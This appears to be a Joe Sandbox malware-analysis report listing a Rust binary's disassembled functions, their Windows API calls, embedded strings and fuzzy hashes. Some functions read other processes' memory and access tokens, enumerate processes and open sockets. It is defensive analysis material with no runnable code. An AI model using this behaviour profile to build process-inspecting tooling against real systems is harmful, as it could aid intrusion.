cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF70FAE2961

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: Unable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=$assertion failed: is_code_point_boundary(self, new_len)$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 0-3024255780
Opcode ID: e41ae1f42859b9b9d1a9eff600e3d032cbc4fcb9ac030ed49874d22505c56751
Instruction ID: 2ec8418439442ef5c3bcb9316cc030fbb2c25b142408e9e418c66feb122bf193
Opcode Fuzzy Hash: e41ae1f42859b9b9d1a9eff600e3d032cbc4fcb9ac030ed49874d22505c56751
Instruction Fuzzy Hash: 9AA250B6A0DBC181EB70AB11E8447EAB7A4FB86784F904136DA8D57B99DF3CD144CB10

Function 00007FF70FA7AFA4 Relevance: 23.4, APIs: 8, Strings: 7, Instructions: 943
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF70FA7B19E

Strings

ALPN upgraded to HTTP/2, xrefs: 00007FF70FA7BDC2
Map must not be polled after it returned `Poll::Ready`, xrefs: 00007FF70FA7FBE5
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA7FCF6
assertion failed: max <= u32::MAX as usize, xrefs: 00007FF70FA7FC2F
TryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FA7FC15
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FA7FBFD
already called/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/service/oneshot.rs, xrefs: 00007FF70FA7FBCD

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: ALPN upgraded to HTTP/2$Map must not be polled after it returned `Poll::Ready`$TryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$already called/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/service/oneshot.rs$assertion failed: max <= u32::MAX as usize$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3510742995-3657608712
Opcode ID: caf63542028e10221de42491d55a3b746ad9c7d10dc73b177c3febe2f1b9d921
Instruction ID: 56a101a3418365f544397d69dc003030cbde155f655f4a407018806ac77fc1b0
Opcode Fuzzy Hash: caf63542028e10221de42491d55a3b746ad9c7d10dc73b177c3febe2f1b9d921
Instruction Fuzzy Hash: 8BB25C62A0CBC185E671DB18E8507EAB3A0FB9A784F445236DA8D43B99DF3CD195CB10

Function 00007FF70FAE168A Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 356memorynativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00007FF70FAE174D
ReadProcessMemory.KERNEL32 ref: 00007FF70FAE1782
ReadProcessMemory.KERNEL32 ref: 00007FF70FAE17BA
NtQueryInformationProcess.NTDLL ref: 00007FF70FAE1846
ReadProcessMemory.KERNEL32 ref: 00007FF70FAE18A4
OpenProcessToken.ADVAPI32 ref: 00007FF70FAE1A73
GetTokenInformation.ADVAPI32 ref: 00007FF70FAE1AB4
GetLastError.KERNEL32 ref: 00007FF70FAE1ABD
GetProcessHeap.KERNEL32 ref: 00007FF70FAE1AD3
RtlAllocateHeap.NTDLL ref: 00007FF70FAE1AE3
GetTokenInformation.ADVAPI32 ref: 00007FF70FAE1B14
CloseHandle.KERNEL32 ref: 00007FF70FAE1B6E
CloseHandle.KERNEL32 ref: 00007FF70FAE1BD6
memcpy.MSVCRT ref: 00007FF70FAE1DEF

Strings

Unable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF70FAE178C
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF70FAE28E1

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Process$Information$MemoryReadToken$CloseHandleHeapQuery$AllocateErrorLastOpenmemcpy
String ID: Unable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=$assertion failed: is_code_point_boundary(self, new_len)
API String ID: 598464727-996793776
Opcode ID: d90bf75e94ff29154226d0e1862dacec99e86959e0bd4d505cac2850a79e0f50
Instruction ID: 692ad827b291f67c5e6fae89f2eb281356235ca4fab08d6b96bee113338b90ab
Opcode Fuzzy Hash: d90bf75e94ff29154226d0e1862dacec99e86959e0bd4d505cac2850a79e0f50
Instruction Fuzzy Hash: 92124CB2A1CBC181E7709B15E8407EAB7A4FB85B88F904135DA8D47B99DF3DD584CB10

Function 00007FF70FA83980 Relevance: 22.5, APIs: 7, Strings: 7, Instructions: 1490COMMON

Download Yara Rule

Strings

, xrefs: 00007FF70FA843F1
assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs, xrefs: 00007FF70FA86C40
, xrefs: 00007FF70FA83E25
HTTP/1.0, xrefs: 00007FF70FA84138
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FA86B9B
PRI * HTTP/2.0SM, xrefs: 00007FF70FA862A0
HTTP/1.1, xrefs: 00007FF70FA8411A

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: $ $HTTP/1.0$HTTP/1.1$PRI * HTTP/2.0SM$assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 0-639811174
Opcode ID: 64b441d44b806a3c3376293dbce1dc5ed02bc178055d4d847e1ba4ffd483e8b4
Instruction ID: 2ac5ea91619df4eb12895fbee35d292664a923a6d7e7f20db20c1395cbfe72db
Opcode Fuzzy Hash: 64b441d44b806a3c3376293dbce1dc5ed02bc178055d4d847e1ba4ffd483e8b4
Instruction Fuzzy Hash: 4DF2BFB2A0CBC185EA70AB11E8447EAA7A4FF8AB84F844135DE8D03B95DF7CD546C710

Function 00007FF70FAE0AEF Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF70FAE1014
OpenProcess.KERNEL32(00000000,?,000001FB,00000000,?,?,?,00000000,00007FF70FAE4768), ref: 00007FF70FAE103C
memset.MSVCRT ref: 00007FF70FAE1076
GetModuleFileNameExW.PSAPI(00000000,?,000001FB,00000000,?,?,?,00000000,00007FF70FAE4768), ref: 00007FF70FAE1089

Part of subcall function 00007FF70FAE0867: memcpy.MSVCRT ref: 00007FF70FAE0A21

memcpy.MSVCRT ref: 00007FF70FAE1DEF
memcpy.MSVCRT ref: 00007FF70FAE1E8C
memcpy.MSVCRT ref: 00007FF70FAE2721
memcpy.MSVCRT ref: 00007FF70FAE283D

Part of subcall function 00007FF70FAE2F73: GetSystemTimes.KERNEL32 ref: 00007FF70FAE2FFC
Part of subcall function 00007FF70FAE2F73: GetProcessIoCounters.KERNEL32 ref: 00007FF70FAE3136

Strings

Idle<no name> Process , xrefs: 00007FF70FAE0F53
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF70FAE28E1
System/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/sysinfo-0.29.11/src/windows/cpu.rsTotal CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64, xrefs: 00007FF70FAE0F3C
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF70FAE2961

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$Process$Open$CountersFileModuleNameSystemTimesmemset
String ID: Idle<no name> Process $System/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/sysinfo-0.29.11/src/windows/cpu.rsTotal CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64$assertion failed: is_code_point_boundary(self, new_len)$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 4187610372-634804069
Opcode ID: 197477492f80119c6cbe79ef988f6d15decbdbc94f1e7cc0a3866882348d73a9
Instruction ID: 2ba50823efd1bbd6a22c653c3faa7573ba84b2ada0cf5dd5af4bfe61e2d1df46
Opcode Fuzzy Hash: 197477492f80119c6cbe79ef988f6d15decbdbc94f1e7cc0a3866882348d73a9
Instruction Fuzzy Hash: A6527972A0DBC581E6719B15E8407EAB3A4FB89B84F908236DACC03B59DF7CD195C750

Function 00007FF70FAA54C0 Relevance: 19.3, APIs: 5, Strings: 5, Instructions: 1784COMMON

Download Yara Rule

APIs

CreateIoCompletionPort.KERNEL32 ref: 00007FF70FAA55FA
memcpy.MSVCRT ref: 00007FF70FAA58BD
memcpy.MSVCRT ref: 00007FF70FAA58E0
memcpy.MSVCRT ref: 00007FF70FAA5917

Part of subcall function 00007FF70FABA7A0: TlsGetValue.KERNEL32(?,?,?,00007FF70FAB0235,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF70FABA7B6

memcpy.MSVCRT ref: 00007FF70FAA6259

Strings

Failed to `Enter::block_on`, xrefs: 00007FF70FAA77A7
(, xrefs: 00007FF70FAA76DF
=, xrefs: 00007FF70FAA55AB
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF70FAA78FE
assertion failed: c.runtime.get().is_entered()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/runtime/context/runtime.rs, xrefs: 00007FF70FAA784B

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$CompletionCreatePortValue
String ID: ($=$Failed to `Enter::block_on`$assertion failed: c.runtime.get().is_entered()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/runtime/context/runtime.rs$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 1001953169-1818827251
Opcode ID: 9d9081504243f8ea74e9d147bcf7c29034a6ac1ab8c73496703744d02ab23547
Instruction ID: 2221e7dce3816d9c7c6898b2ea6836b25b54b4a2a4633618ef3f295f629ef155
Opcode Fuzzy Hash: 9d9081504243f8ea74e9d147bcf7c29034a6ac1ab8c73496703744d02ab23547
Instruction Fuzzy Hash: B8139972A0DBC182E665AB15E8407EAB3A0FF89784F848135DB8D47B95DF3CE185CB50

Function 00007FF70FA811D0 Relevance: 17.9, APIs: 6, Strings: 5, Instructions: 1443COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA813BB
memcpy.MSVCRT ref: 00007FF70FA814D6
memcpy.MSVCRT ref: 00007FF70FA81515
memcpy.MSVCRT ref: 00007FF70FA831DB
memcpy.MSVCRT ref: 00007FF70FA83200
memcpy.MSVCRT ref: 00007FF70FA83216

Strings

Map must not be polled after it returned `Poll::Ready`, xrefs: 00007FF70FA83472
00current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs, xrefs: 00007FF70FA82BCB
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FA8348A
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FA833DC
connection error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h2/mod.rs, xrefs: 00007FF70FA8301F

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: 00current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs$Map must not be polled after it returned `Poll::Ready`$connection error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h2/mod.rs$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 3510742995-3842020311
Opcode ID: f8aa969064387510b761fb5869223a086dd8b93db1e077cf1297d3ad2dbecbaa
Instruction ID: ac152ccde8c6a00ad9bce14b9a3c0bca6c92aebdb3d91dc45897e37e57ed117e
Opcode Fuzzy Hash: f8aa969064387510b761fb5869223a086dd8b93db1e077cf1297d3ad2dbecbaa
Instruction Fuzzy Hash: 81F26FB2A0CBC581EA71AB14E8457FAA3A4FF85780F844131DA8D53B99EF7CD586C710

Function 00007FF70FAB7A83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 281
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF70FAB7D2C
WSAGetLastError.WS2_32 ref: 00007FF70FAB7D51
WSASocketW.WS2_32 ref: 00007FF70FAB7D85
SetHandleInformation.KERNEL32 ref: 00007FF70FAB7DA2
GetLastError.KERNEL32 ref: 00007FF70FAB7DAB
bind.WS2_32 ref: 00007FF70FAB7DF1
WSAGetLastError.WS2_32 ref: 00007FF70FAB7DFF
closesocket.WS2_32 ref: 00007FF70FAB7E0A
WSAGetLastError.WS2_32 ref: 00007FF70FAB7E27

Part of subcall function 00007FF70FADC1D0: memcpy.MSVCRT ref: 00007FF70FADC22F

Strings

127.0.0.1:34254/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\collections\btree\navigate.rs, xrefs: 00007FF70FAB7AA5

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationbindclosesocketmemcpy
String ID: 127.0.0.1:34254/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\alloc\src\collections\btree\navigate.rs
API String ID: 610469329-2703947089
Opcode ID: 8330ce5ec001eeddd2c5b4dd7041f22a275edeb8af0370899d7549277160eab8
Instruction ID: 4a5c99978688c567fa82e6633c50c94eed3d9927449aa3c4f576c7f472cc37aa
Opcode Fuzzy Hash: 8330ce5ec001eeddd2c5b4dd7041f22a275edeb8af0370899d7549277160eab8
Instruction Fuzzy Hash: 03C197A2A1C6C241F751AB24E8517FAF790EF82794F904131EA8E47BD6DFBCD4858B10

Function 00007FF70FA694F9 Relevance: 14.8, APIs: 6, Strings: 2, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF70FA699A2
memcpy.MSVCRT ref: 00007FF70FA699D6
memcpy.MSVCRT ref: 00007FF70FA69D42
memcpy.MSVCRT ref: 00007FF70FA69E98
CloseHandle.KERNEL32 ref: 00007FF70FA6A171
GetSystemInfo.KERNEL32 ref: 00007FF70FA6A483

Strings

RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorGlobalPoolAlreadyInitializedCurrentThreadAlreadyInPoolIOError, xrefs: 00007FF70FA6A1BC
(, xrefs: 00007FF70FA6A4B0

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$CloseHandleInfoSystem
String ID: ($RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorGlobalPoolAlreadyInitializedCurrentThreadAlreadyInPoolIOError
API String ID: 4246747877-1997856067
Opcode ID: 41ffeb555081735b74435fb5eb716d0f6f1baf540a78c610a7f4dee324402c05
Instruction ID: 636257a34d46fb84d2dc0e15acf0aaaaa6ebf45bea16420e76ddcb4b0f112260
Opcode Fuzzy Hash: 41ffeb555081735b74435fb5eb716d0f6f1baf540a78c610a7f4dee324402c05
Instruction Fuzzy Hash: FC926872A0CBC581E6759B15E8417EAA3A8FF8AB84F808135DE8D13B99DF3CD195C710

Function 00007FF70FA75CE4 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 432
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF70FA75E09
ioctlsocket.WS2_32 ref: 00007FF70FA75E30
closesocket.WS2_32 ref: 00007FF70FA7627A
memcpy.MSVCRT ref: 00007FF70FA76329
memcpy.MSVCRT ref: 00007FF70FA76346

Strings

tcp open errortcp set_nonblocking errortcp bind local error, xrefs: 00007FF70FA75E8D
Network unreachabletcp connect error, xrefs: 00007FF70FA76761

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$Socketclosesocketioctlsocket
String ID: Network unreachabletcp connect error$tcp open errortcp set_nonblocking errortcp bind local error
API String ID: 429738851-2266390304
Opcode ID: 1f834e1df1ea70d5952e5e79cfbacfbd87276305fa165a83bf761807abcee4ef
Instruction ID: 8df6b7e6c7049832ab8caa84678d2ece13f26d92caaed10ce31011bca3bb2d6a
Opcode Fuzzy Hash: 1f834e1df1ea70d5952e5e79cfbacfbd87276305fa165a83bf761807abcee4ef
Instruction Fuzzy Hash: 22229DA2A0CBC185E721DB24D810BEAA3A0FF99758F449235DE8C07796EF78E5D5C710

Function 00007FF70FA74A04 Relevance: 12.9, APIs: 5, Strings: 3, Instructions: 869
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FF70FA75B52
dns error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/client/legacy/connect/http.rs, xrefs: 00007FF70FA74F0B
invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError, xrefs: 00007FF70FA74AEE

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: $dns error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/client/legacy/connect/http.rs$invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError
API String ID: 0-926526499
Opcode ID: 9d8cac4510f8ed611c2500afb9d8ca480e7f1fbb797c16b519cf270bab70d26d
Instruction ID: 9d256a80191175e697e5679dc379623b15750297a2dd68cc85204799f86917db
Opcode Fuzzy Hash: 9d8cac4510f8ed611c2500afb9d8ca480e7f1fbb797c16b519cf270bab70d26d
Instruction Fuzzy Hash: 9DA2A172A0CBD185E620EB11E844BEAB3A4FB8A784F855135DF9C47B96EF38D185C710

Function 00007FF70FAE4514 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 380
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF70FAE4588

Strings

assertion failed: vec.capacity() - start >= len/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/rayon-1.10.0/src/vec.rs, xrefs: 00007FF70FAE4C19

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: InformationQuerySystem
String ID: assertion failed: vec.capacity() - start >= len/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/rayon-1.10.0/src/vec.rs
API String ID: 3562636166-2891932130
Opcode ID: b7247f0c0a1b61709ff8e4981a456e98a45ff97b840b08a9e87515fa480afda0
Instruction ID: f7ddf0f8907fd33243fb8e038e11f62b6c4157be26a4784dbf84d4ff53801e81
Opcode Fuzzy Hash: b7247f0c0a1b61709ff8e4981a456e98a45ff97b840b08a9e87515fa480afda0
Instruction Fuzzy Hash: 38026C76A0CBC281DA60EB15E8407EAB364FB89794F808236DB9D57B99EF3CD045C750

